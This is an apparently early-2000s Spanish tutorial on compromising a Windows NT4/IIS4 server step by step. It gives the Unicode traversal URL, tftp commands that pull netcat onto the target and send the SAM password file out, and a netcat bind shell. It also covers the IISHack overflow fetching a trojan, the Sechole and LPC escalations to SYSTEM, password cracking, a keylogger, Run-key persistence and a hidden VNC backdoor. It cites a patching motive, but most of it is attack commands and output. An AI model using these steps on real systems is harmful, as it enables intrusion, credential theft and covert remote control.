Averiguamos todo lo que podamos del server que estamos investigando: puertos abiertos, servicios, sistema operativo, etc.
Subimos lo que necesitemos al PC remoto.
Como es un NT con IIS (servidor de web) utilizamos el bug de Unicode para poder subir el netcat, y lo dejamos escuchando en el server, pero sólo con permisos de usuario IUSR_NT_VICTIMA.
Como se trata concretamente de un IIS4 podríamos utilizar el exploit IISHack2 del gupe eEye, para subir y ejecutar en la máquina el archivo que querramos.
Tenemos que elevar los privilegios que tenemos, para ello podemos hacer varias cosas:
Utilizando el exploit SECHOLE
Nos hacemos con el archivo de passwords (sam) utilizando el exploit del MDAC.
Lo crackeamos con le LophtCrack 3
Explotamos el bug del LPC, subimos el exploit hk.exe (con el bug de unicode, de MDAC o por netbios, dependiendo de los pasos que hayamos seguido hasta aquí) para ejecutar el netcat, de esta manera nuestra sesión con el netcat tendrá permisos de SYSTEM.
Podemos dejar un keylogger en ol PC objetivo, y bajarnos el log con los pass despues de unos dias.
Dejamos una puerta trasera:
1. Si tenemos el pass del Administrador, creamos una conexión por netbios con el PC remoto, para despues conectar con el servicio remoto e introducir una clave en el registro para que se ejecute el netcat con permisos de administrador cada vez que se arranque el PC.
2. Con los permisos de Administrador para poder añadir claves a registro remoto, subimos el servidor del VNC (programa de gestión remota) y utilizamos el regini para añadir las claves necesarias al registro remoto, y lo ejecutamos desde la shell (netcat)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Hack NT4 paso a paso
En este texto vamos a enseñar que fácil puede ser hackear un sistema NT, para demostrar lo importante que es aplicar los parches pertinentes a una instalación por defecto de uno de estos Windows.
Vamos a estudiar la debilidad de un sistema NT4, (resulta asombroso el elevado número de NT4 que aun funcionan en la red, en su mayoría empresas de mediano o pequeñio tamaño) aunque gran parte de lo explicado puede ser trasladado a un sistema con Windows 2000 que corra un servidor IIS5 (evidentemente salvando las distancias con algunas variantes), lo importante es ver que fácil puede ser hackear un servidor NT, tal vez así todos esos admins de pequeñas empresas se anímen a actualizar sus NT4.
El sistema que vamos a estudiar es un Windows NT 4.0 Server con el Service Pack 6.0 y IIS Server versión 4.0, protegido detrás de un firewall corriendo OpenBSD y los únicos puertos abiertos son:
22 (ssh)
80(http)
443(secure http)
lo cual constituye una configuración por defecto en un servidor web.
La IP del objetivo será 12.168.10.1, y nuestra IP será 192.168.10.250
1: Investigando el sistema.
El primer paso en cualquier intrusión es averiguar que sistema está corriendo el PC obgetivo, sus versiones y los servicios que tiene abiertos, etc. En este ejemplo partimos ya de una situación en la que conocemos el sistema y sus caracteristicas, pero vamos a ver como podriamos ayarlo en caso de que no lo supieramos.
Un programa de los mas conocidos, que corre bajo *nix es el NMAP , aunque tambien hay una versión para NT nmapNT
NMAP es un scanner de puertos para sistemas *nix. Se puede utilizar para escanear grandes redes o PC´s individuales. Tiene numerosas opciones, dependiendo de lo que estés buscando. El funcionamiento de un scanner de puertos básicamente consiste en conectar a todos los puertos de un sistema, o a los que le especifiques, y encuentra que servicios se están ejecutando en él, además NAMP también puede hacer el "OS fingerprinting" (huellas digitales del sistema operativo).
Este es un output del NMAP en linux
[cyrux@net /cyrux]# nmap -O 192.168.10.1
Starting nmap V. 2.30BETA17 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on NT_VICTIMA (192.168.10.1):
(Ports scanned but not shown below are in state: filtered)
Port State Service
22/tcp unfiltered ssh
80/tcp open http
443/tcp open https
TCP Sequence Prediction: Class=trivial time dependency
Difficulty=4 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98
Nmap run completed -- 1 IP address (1 host up) scanned in 172 seconds
La opción'-O' es para el "OS fingerprinting" , en el output podemos ver que se trata de un Windows, y que está corriendo el puerto 80, lo cual ya nos indica que es seguramente servidor de web.
Pero necesitamos saber algo mas, para ello utilizamos el Netcat. El Netcat básicamente lee y escribe paquetes de red. Puede utilizarse como cliente o servidor. Usando netcat como cliente, cuando conectamos al puerto del servidor web IIS, pulsa Enter varias veces, y el Netcat no devolverá los encabezados que recibe:
[cyrux@net /cyrux]# nc -vv 192.168.10.1 80
NT_VICTIMA [92.168.10.1] 80 (www) open
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Thu, 18 Jan 2001 23:23:22 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body></html> sent 2, rcvd 224
Ahora sabemos que se trata de un servidor de web IIS/4.0 , y como sabemos el IIS no corre bajo sistemas win9x, por lo tanto sabemos que estamos ante un NT.
Sin duda de los mejores scanners que hay, aunque sólo corre bajo Windows NT/2K/XP es el LANguard .
Con el LANguard podemos averiguar el sistema operativo, los puertos, los servicios, e incluso algunos posibles bugs. Aquí tienes el output:
Ahora que ya sabemos ante qué tipo de máquina estamos, es el momento de empezar con la intrusión, para ello vamos a hacer uso de algunos de los bugs y exploits que existen para esta máquina.
2: Subiendo archivos al PC remoto:
2.1 : Explotando el bug de Unicode.
Primero vamos a utilizar el bug de Unicode, ya que estamos ante una máquina que no parece muy actualizada, no sería extraño que fuese vulnerable, no queda ya mucho que contar sobre este bug, Pincha aquí para bajarte un texto en el que se explica detalladamente el bug de Unicode.
De todos modos para hacer mas cómoda la lectutra vamos a seguir con una breve explicación.
Al igual que el servidor FTP, el servidor Web se ejecuta desde un directorio, desde el cual los usuarios del servicio no pueden acceder al resto de los directorios del sistema. Pero el servidor web necesita tener algunos permisos de ejecución para que funcionen por ejemplo los scripts, pero estos permisos de ejecución se hayan exclusivamente en el en los directorios, predefinidos, que lo necesitan, por ejemplo en la configuración por defecto la carpeta c:\Inetpub\scripts estos permisos (entre otras).
Por lo tanto tenemos permisos para ejecutar archivos en /Inetpub/scripts/ pero los programas que queremos ejecutar suelen estar en /winnt/system32.
La manera de llegar desde /Inetpub/scripts hasta /winnt/system32 sería esta:
'../../winnt/system32/cmd.exe'.
Pero IIS por razones de seguridad no permite salir de la rama de los directorios que utiliza el servidor web, y no permitirá la exploración de este path.
La manera de saltarnos ese filtro de seguridad es sustituir los "/" por los códigos equivalentes en unicode, con una URL como esta:
http://192.168.1.2/scripts/..Ã%pc../winnt/system32/cmd.exe?/c+dir
obtenemos algo como esto esto:
Ya podemos ejecutar comandos en el servidor, pero con los permisos propios del usuario INET_NOMBREPC, que goza de muy pocos privilegios, y resulta un método bastante engorroso.
Hay un montón de herramientas que hacen este proceso mas fácil (aunque al final siempre acabemos haciendo estas cosas a mano). En la sección exploits tienes un montón de utilidades para facilitar este proceso.
Vamos a ver un ejemplo de como se utilizaría una de estas herramientas, el unicodexecute2.pl , escrito en perl (utilizable *nix y en Windows con el paquete ActivePerl instalado ) lo que hace es basicamente mandar los comandos que introducimos con el formato que tendrían si los introdujesemos via web:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'dir'
Executing dir on 192.168.10.1:80
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:15:26 GMT
Content-Type: application/octet-stream
Volume in drive D has no label.
Volume Serial Number is F465-557F
Directory of D:\Inetpub\scripts
01/18/01 03:15p <DIR> .
01/18/01 03:15p <DIR> ..
2 File(s) 0 bytes
28,081,664 bytes free
Como ya podemos ejecutar comandos, vamos a tratar de conseguir una shell remota, para ello utilizaremos el netcat.
Lo primero es subir el netcat al servidor IIS, utilizamos el conocido método del TFTP (Trivial File Transfer Protocol) para ello hacemos que nuestro PC sea servidor de TFTP.
Si utilizas Windows puede utilizar el TFTPD32 y verás algo así:
Ahora colocamos el netcat (nc.exe) en el directorio que usamos como root para el TFTP, mandando el siguiente comando por nuestro unicodexecute2.pl:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'tftp -i 192.168.10.250 GET nc.exe'
Executing tftp -i 192.168.10.250 GET nc.exe on 192.168.10.1:80
HTTP/1.1 502 Gateway Error
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:19:34 GMT
Content-Length: 215
Content-Type: text/html
<head><title>Error in CGI Application</title></head>
<body><h1>CGI Error</h1>The specified CGI application misbehaved by not returning
Comprobamos que todo haya ido bien:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'dir'
Executing dir on 192.168.10.1:80
Directory of D:\Inetpub\scripts
01/18/01 04:19p <DIR> .
01/18/01 04:19p <DIR> ..
01/18/01 04:19p 59,392 nc.exe
3 File(s) 59,392 bytes
28,022,272 bytes free
Ejecutamos el netcat para que ejecute el cmd.exe de manera que aguarde en el puerto 443, utilizamos el 443 porque está abierto en el firewall, incluimos la opcíon "-d" para que se ejecute en modo silencioso:
[root@gundam nthack]# perl -x unicodexecute.pl 192.168.10.1:80 'nc -L -p443 -d -e cmd.exe'
Executing nc -L -p23 -d -e cmd.exe on 192.168.10.1:80
Como no recibimos respuesta sabemos que se está ejecutando, así que abrimos el netcat en nuestro PC al igual que hicimos antes con el puerto 80 del PC objetivo, pero ahora apuntando a su puerto 443, en el que nos debería recibir el netcat que dejamos en modo escucha.
[cyrux@net /cyrux]# nc 192.168.10.1 443
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT_VICTIMA\IUSR_NT_VICTIMA
D:\Inetpub\scripts>
Ya tenemos la shell que estabamos buscando, pero como vemos con el comando "whoami" no tenemos permisos de administrador, sólo tenemos los permisos propios del usuario IUSR_NT_VICTIMA, vamos a ver como podemos obtener mayores permisos.
2.1: Usando el IISHack.
Como es este caso se trata de un IIS4 podemos utilizar el exploit IISHack (puedes usar también el IISHack2 de http://rootx.gq.nu) del grupo eEye gracias al cual podemos subir y ejecutar un archivo a un web server IIS4 desde otra web. Su uso es muy fácil, esto es una reproducción de lo que haríamos:
C:\>iishack.exe 192.168.10.1 80 www.troyanos.com/troyano.exe
#--[IIS 4.0 remote buffer overflow exploit]----#
(c) dark spyrit -- barns@eeye.com.
http://www.eeye.com
[usage: iishack <host> <port> <url>]
example-iishack www.target.com 80 www.troyanos.com/troyano.exe
#--------------------------------#
Connecting...
done.. sending shellcode..
Number of characters send: xx
done.. closing
C:\>
<host> es el PC objetivo
<port> es el puerto del servidor web, generalmente el 80
<url> es la url la que subimos el programa que queremos que se suba a su vez al PC objetivo. Para esto podemos hacernos con un espacio web gatuito, al que subimos nuestro troyano.exe o poner la url de un sitio en el que ya esté el troyano.exe.
Después de esto el programa que hayas subido debería haberse ejecutado, ojo si subes un troyano, puesto que éste puede correr por un puerto que esté bloqueado por el firewall, para ello deberás configurar el server antes subirlo a la web, además tal vez el troayno quede inutilizado por algún antivirus, recuerda también que debe ser compatible con NT.
Ya tenemos acceso al PC con el cliente del troyano que hayamos utilizado o desde una shell si subimos el netcat o algún programa que nos sirva al efecto.
3: Elevando los privilegios:
Si después de lo anterior, contamos con una shell, conseguida con el netcat, nos veremos obligados a elevar los privilegios con los que contamos, recordemos que la shell que conseguimos a través del netcat corria bajo los permisos del usuario IUSR_NT_VICTIMA, los cuales son demasiado bajos. Podrémos actuar de varias maneras:
3.1: Utilizando el exploit Sechole:
El Sechole explota un fallo en los sistemas Windows NT 4.0 , 5.0 beta, independientemente de que sea workstation o server. Bájatelo de aquí
Su uso es muy fácil, aunque nosotros, como estamos trabajando remotamente deberemos utilizarlo desde la shell que conseguimos antes.
Subimos al server los archivos SECHOLE.EXE y ADMINDLL.DLL.
Ejecutamos desde la shell remota el SECHOLE.EXE
Una vez hecho esto, el sistema seguramente se vuelva inestable, llegando incluso a caerse, eso es precisamente lo que necesitamos, cuando vuelva a iniciarse la cuenta desde la que se ejecutó el sechole pertenecerá al grupo de administradores.
Si el server no se reinicia, puedes esperar a que se apague o subir algún overflow, y ejecutarlo en el server pasa reiniciarlo tu mismo.
Puedes por ejemplo subir el exploit del CSRSS y ejecutarlo, aquí tienes una explicación de cómo funciona.
3.2 : Consiguiendo los passwords.
Sería interesante poder hacerse con el archivo SAM, que contiene los usuarios y passwords en cualquier sistema NT, pero evidentemente está cifrado. El SAM está bloqueado cuando el sistema se está ejecutando, y ni siquiera el Administrador puede acceder a él. Pero hay otros sitios donde se guardan copias de este archivo, uno es en los discos de emergencia (repair disk) si estos has sido creados con la opción "/s" , y otro es en la carpeta /winnt/repair aunque esta última está comprimida (SAM._).
MDAC es la manera en la que el servidor web accede a cualquier base de datos ODBC.
La instalación por defecto del IIS4.0 incluye el MDAC, y el éste incluye un componente llamado RDS (Remote Data Services). RDS es la parte que permite el acceso remoto al OBDC a través de la web.
MS Access maneja estas peticiones a través del motor de la base de datos llamado Jet. El problema es que Jet permite llamadas a la shell del VBA, permitiendote ejecutar comandos con permisos de Sistema.
Con los permisos que tenemos en este momento (recordemos que estamos como usuario IUSER_NT_VICTIMA ) no podemos tocar el sam._ , esto es lo que pasaría:
D:\Inetpub\scripts>copy \winnt\repair\sam._
copy \winnt\repair\sam._
Access is denied.
0 file(s) copied.
Volviendo al MDAC, buscando en internet, vemos que existe un exploit que nos permite ejecutar comandos en el PC remoto, el msdac2.pl (también escrito en perl), para ejecutarlo simplemente le añadimos "-h <ip_objetivo>".
Uutilizamos este exploit para subir el sam._ a nuestro PC, el output sería éste:
[cyrux@net /cyrux]# perl -x msadc2.pl -h 192.168.10.1
-- RDS exploit by rain forest puppy / ADM / Wiretrip --
Please type the NT commandline you want to run (cmd /c assumed):
cmd /c tftp -i 192.168.10.250 PUT \winnt\repair\sam._
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Comprobamos que efectivamente nos hemos hecho con el sam._
[cyrux@net /cyrux]# ls -la /tftproot/sam._
-rw-rw-rw- xx ....................... xx /tftproot/sam._
NOTA: Hacerse con el archivo sam es muy importante, pero estamos limitados a la suerte que tengamos a la hora de crackearlo, otra manera de conseguir los pass del admin sería subir un keylogger al PC objetivo, y esperar unos dias, después de ese tiempo, volvemos a conectarnos al PC y nos bajamos el log con las claves.
3.2.1 : Crackeando los passwords.
Una vez que ya tenemos el archivo que contiene los passwords del PC objetivo, tenemos que descomprimirlo y desencriptarlo.
Para descomprimirlo, tenemos que utilizar el comando "expand", pero para ello necesitamos tener un NT:
C:\> expand sam._ sam
Pero si no contamos con un NT podemos expandirlo antes de bajarnoslo, con el exploit del MDAC:
[cyrux@net /cyrux]# perl -x msadc1.pl -h 192.168.10.1
-- RDS exploit by rain forest puppy / ADM / Wiretrip --
Please type the NT commandline you want to run (cmd /c assumed):
cmd /c expand \winnt\repair\sam._ \winnt\reapir\sam
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Pero aún tenemos que desencriptarlo, vamos a utilizar uno de los mejores programas que hay para ello, el L0phtCrack v3 (LC3) , que corre en NT, aunque nos serviría cualquier otro crackeadorr para NT que no necesariamente tenga que correr bajo un sistema NT (es decir, si no tenemos un NT tendremos que hacernos con un crackeador de archivos sam que sea compatible con nuestro sistema operativo, Win9x Me, *nix ... )
En fin corremos nuestro LC3, y con un poco de suerte y paciencia no haremos con los passwords del PC objetivo, este paso parece un poco "fantasioso", porque siempre parece que eso de encontrar el pass es muy dificil, pero la realidad es que la mayoría de los administradores utilizan passwords de muy baja seguridad, y el LC3 los saca en un porcentaje altísimo de veces (en grandes compañías esto no debería ocurrir).
Aquí tienes una captura del LC3:
La razón de que los passwords sean relativamente fácil de crackear es que Microsoft, en sus esfuerzos por mantener la compatibilidad con las versiones antiguas de Windows, usa un algoritmo "hash" (cifrado en un solo sentido) para el acceso desde redes Microsoft, LanManager. Aunque el NT posee un algoritmo mas nuevo y fuerte, mantiene todavía una copia del LanManager.
3.3 : Consiguiendo permisos de system en el momento:
Hasta ahora esto está bien, pero sigue siendo un poco engorroso tener que esperar a que el PC se reinicie
Existe un bug del LCP que parece que nos puede servir
El LCP (Local Procedure Call Ports)es utilizado por el NT para comunicar los procesos del PC con cualquier otro.
Esta función fue diseñada para permitir a un servidor asumir la personalidad de un cliente o llevar a cabo acciones en su lugar , puede ser utilizada para ejecutar comandos bajo el contexto de otro usuario.
Existe un exploit llamado hk.exe que saca provecho de este bug
Desde una shell, todavía con los permisos del usuario IUSR_NT_VICTIMA podemos subir el exploit.
D:\Inetpub\scripts>tftp -i 192.168.10.250 GET hk.exe
tftp -i 192.168.10.250 GET hk.exe
Transfer successful: 32768 bytes in 1 second, 32768 bytes/s
ahora lo ejecutamos dirigiendolo hacia el netcat, con esto lo que conseguimos es que el netcat sea utilizado por el sistema en vez de por nosotros, gracias a ello, el entorno en el que se ejecutará tendrá permisos de sistema.
D:\Inetpub\scripts>hk nc -L -p 25 -d -e cmd.exe
hk nc -L -p 25 -d -e cmd.exe
lsass pid & tid are: 50 - 53
Launching line was: nc -L -p 25 -d -e cmd.exe
Who do you want to be today?NtImpersonateClientOfPort succeeded
desde otra terminal vamos al nuevo puerto del netcat .
[cyrux@net /cyrux]#nc 192.168.10.1 25
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT AUTHORITY\SYSTEM
Vemos que tenemos una shell con permisos de "SYSTEM" . Ahora podemos hacer remotamente lo mismo que podriamos hacer si estuvieramos sentados delante del PC.
NOTA: Como en este ejemplo estamos estudiando un Windows NT4, estamos utilizando exploits que corren bajo NT4, si el PC objetivo fuese un Windows 2000, no sería necesariamente mas seguro, puesto que existen exploits que causan el mismo efectoen el Win2K, como por ejemplo los exploits basados en .printer overflow (ISAPI)...
3.4: Dejando un Keylogger:
Otra opción es dejar simplemente un keylogger silencioso en el server, para que, transcurridos unos dias, puedas bajarte el archivo en el que supuestamente han quedado guardados todos los pass que hayan sido introducidos durante esos dias, entre los que seguramente esté el del Administrador.
Puedes reiniciar tu mismo el server como dijimos antes, con el exploit del CSRSS
4: Dejando una puerta trasera:
Por supuesto lo normal es dejar una manera de volver a entrar en el server sin tener que volver a hacer todo esto, vamos a tratar de explicar algunas que por ser poco convencionales, tal vez resulten mas interesantes
4.1: Claves en el inicio del registro
Llegados a este punto, y con los passwords en nuestro poder, ya podemos hacer un montón de cosas, pero vamos a hacer algo que tal vez no sea de lo mas habitual, vamos a acceder al registro del PC objetivo.
El Servicio de registro remoto está activado el la instalación por defecto, pero para poder acceder a el necesitamos tener permisos de administrador y estar conectados a él como tal.
Para ello vamos a conectarnos por NetBIOS, hacemos lo siguiente:
C:\>net use q: \\192.168.10.1\d$ /user:administrador *
Type the password for \\192.168.10.1\d$: <password aquí>
The command completed successfully.
Si el servicio de registro remoto estuviera deactivado por el administrador del sistema, podriamos activarlo desde la shell remota del PC objetivo, con el siguiente comando:
c:\>net start "Servicio de registro remoto"
Pero para ello hace falta tener permisos de administrador, en caso de necesitar activar el registro, puedes ver como conseguir una shell con permisos suficientes
en el paso 3.3:Exploit del LPC
Ahora ya podemos usar el regedit para conectarnos:
En este momento podemos añadir cualquier cosa en el inicio del Windows, estos son algunos lugares interesantes donde añadir lo que deseemos:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Por ejemplo vamos a poner el netcat escuchando aquí de manera que se inicie cada vez que se inicie el sistema, al iniciarse así tendrá permisos de sistema.
Podemos añadir, en el PC objetivo, una linea como por ejemplo esta:
Cada vez que el PC objetivo se inicie podremos llamar a nuestro netcat
[cyrux@net /cyrux]# nc 192.168.10.1 443
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\WINNT\Profiles\Administrador\Escritorio>whoami
whoami
NT_VICTIMA\Administrador
Como vemos a partir de ahora podremos user el netcat con permisos de Administrador.
4.2 : Control remoto con interfaz NT.
Todo esto normalmente es mas que suficiente, pero si somos perfeccionistas, aun podemos hacer algo mas:
VNC es un programa de control remoto de uso muy fácil, que consta de dos partes, server, cliente (como muchos troyanos), y que permite a un usuario remoto ver el escritorio del PC en el que se está ejecutando el server e interactuar con el como si estuviera sentado delante del PC, sin ningún tipo de restricción.
Existen versiones de cliente y de servidor tanto para linux como para Windows, por lo que en este caso el sistema operativo no es un problema, puedes bajartelas desde aquí.
Supongamos que estamos en nuestro Windows y ya nos hemos bajado el VNC, ahora necesitamos subir al PC remoto los archivos winvnc.exe, vnchooks.dll, y omnithread_rt.dll. Es aconsejable esconderlos en un directorio poco frecuentado.
Para subirlo vamos a utilizar la conexión de NetBIOS que creamos antes, y colocamos el omnithread_rt.dll en \winnt\system32\ y el winvnc.exe y el vnchook.dll en el \winnt\system32\viewers.
Ahora necesito crear unas claves en el registro. Las claves que necesitas las puedes encontrar en tu propio PC, instalando el VNC y viendo que claves han cambiado.
Este es un ejemplo de un posible archivo que podriamos crear, en el que estamos estbleciendo la configuración que tendrá nuestro vnc:
\registry\users\.default\software\orl
VNCHooks
Application_Prefs
CALC.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000000
use_LButtonUp = REG_DWORD 0x00000000
use_Deferral = REG_DWORD 0x00000001
CLOCK.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000001
use_KeyPress = REG_DWORD 0x00000000
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000000
explorer.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000000
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
iexplore.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
mspaint.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
NOTEPAD.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
winlogon.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
\registry\machine\software\orl\winvnc3\default
AllowProperties = REG_DWORD 0x00000000
AllowShutdown = REG_DWORD 0x00000001
AutoPortSelect = REG_DWORD 0x00000001
InputsEnabled = REG_DWORD 0x00000001
OnlyPollConsole = REG_DWORD 0x00000001
OnlyPollOnEvent = REG_DWORD 0x00000000
Password = REG_BINARY 0x0000008 da 36 c0 9d 72 2a 8a 28
PollForeground = REG_DWORD 0x00000001
PollFullScreen = REG_DWORD 0x00000001
PollUnderCursor = REG_DWORD 0x00000000
SocketConnect = REG_DWORD 0x00000001
Con esas claves crea un archivo llamado por ejemplo "vnc.ini", bájate de aquí el archivo ya creado
La línea Password = REG_BINARY 0x0000008 da 36 c0 9d 72 2a 8a 28 corresponde al password, en nuestro caso a la palabra "hacknt4".
Para añadir la clave en el registro remoto necesitamos una utilidad llamada regini.exe que está incluida en el NT Workstation Resource Kit, bajate de aquí el regini.exe .
Existen numerosas variantes del vnc original, así como muchos tipos de "vnc.ini" dependiendo de la configuración que le querramos dar. Puedes bajarte un paquete llamado fastpush2_5 que contiene todos los archivos necesrios, así como el regtools y ayudas para instalar el vnc de forma remota.
Movemos el vnc.ini al mismo directorio que el regini.exe y añadimos el archivo al registro del PC remoto de la siguiente manera:
C:\>regini.exe -m \\192.168.10.1 vnc.ini
Instalamos el VNC en el PC remoto desde nuestra shell en la máquina objetivo:
D:\WINNT\system32\viewers>winvnc -install
winvnc -install
De esta manera el VNC se instala como un servicio, por lo que no es necesario que haya nadie en el PC remoto.
Sólo nos queda iniciarlo:
D:\WINNT\system32\viewers>net start winvnc
net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.
Ahora desde nuestro PC utilizamos el cliente del VNC para conectarnos al PC remoto, que está ya ejecutando el server del VNC:
Introducimos la IP del PC remoto:
y nos solicita el password, que en nuestro caso era "hacknt4"
Y todo listo para disfrutar del escritorio remoto desde nuestro cliente de VNC, ya sea desde un Linux, como desde un Windows, como en esta captura.
Reumen:
Averiguamos todo lo que podamos del server que estamos investigando: puertos abiertos, servicios, sistema operativo, etc.
Subimos lo que necesitemos al PC remoto.
Como es un NT con IIS (servidor de web) utilizamos el bug de Unicode para poder subir el netcat, y lo dejamos escuchando en el server, pero sólo con permisos de usuario IUSR_NT_VICTIMA.
Como se trata concretamente de un IIS4 podríamos utilizar el exploit IISHack2 del gupe eEye, para subir y ejecutar en la máquina el archivo que querramos.
Tenemos que elevar los privilegios que tenemos, para ello podemos hacer varias cosas:
Utilizando el exploit SECHOLE
Nos hacemos con el archivo de passwords (sam) utilizando el exploit del MDAC.
Lo crackeamos con le LophtCrack 3
Explotamos el bug del LPC, subimos el exploit hk.exe (con el bug de unicode, de MDAC o por netbios, dependiendo de los pasos que hayamos seguido hasta aquí) para ejecutar el netcat, de esta manera nuestra sesión con el netcat tendrá permisos de SYSTEM.
Podemos dejar un keylogger en ol PC objetivo, y bajarnos el log con los pass despues de unos dias.
Dejamos una puerta trasera:
1. Si tenemos el pass del Administrador, creamos una conexión por netbios con el PC remoto, para despues conectar con el servicio remoto e introducir una clave en el registro para que se ejecute el netcat con permisos de administrador cada vez que se arranque el PC.
2. Con los permisos de Administrador para poder añadir claves a registro remoto, subimos el servidor del VNC (programa de gestión remota) y utilizamos el regini para añadir las claves necesarias al registro remoto, y lo ejecutamos desde la shell (netcat)